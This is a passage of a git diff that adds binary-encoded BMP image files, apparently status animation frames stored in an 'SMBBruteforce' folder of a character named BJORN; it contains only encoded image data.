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 V|1nk=um3vl{}k)r^s$A-{{soS$*TYW literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce12.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce13.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 zcmd^`b$lC1wx~02@7~?JIIxp}FgW0tzl#gt1o@p0HVB0Er-}V?E&Qw&_zFb*p2w9dg#T}j--Y%3oN#_dIL8xC_RbF1 zPIqSUn`8L(f#bE_69W68;Ew&slwjM9F zAA!QFz4-OPn@ z;&=L@_Xna52BLO*!#6rHn_UrG-Qin35u4qSTiqZJ&XHSPKS>w2!neAxn;pdSn*?h0 zMsN2eZV#qzkLK-6Rqijg9d1pZ9B!STpMDc~!B8S7 zu+fn-CXRNCZOiRjMoZpa@S?&?JAsb61RA;OvbfG!oa16IUlDO3$51_X}>b*!k zaR70%H*SA8>0ksmRUI-^;b`L<0-0BS4o-F$epZ;`K 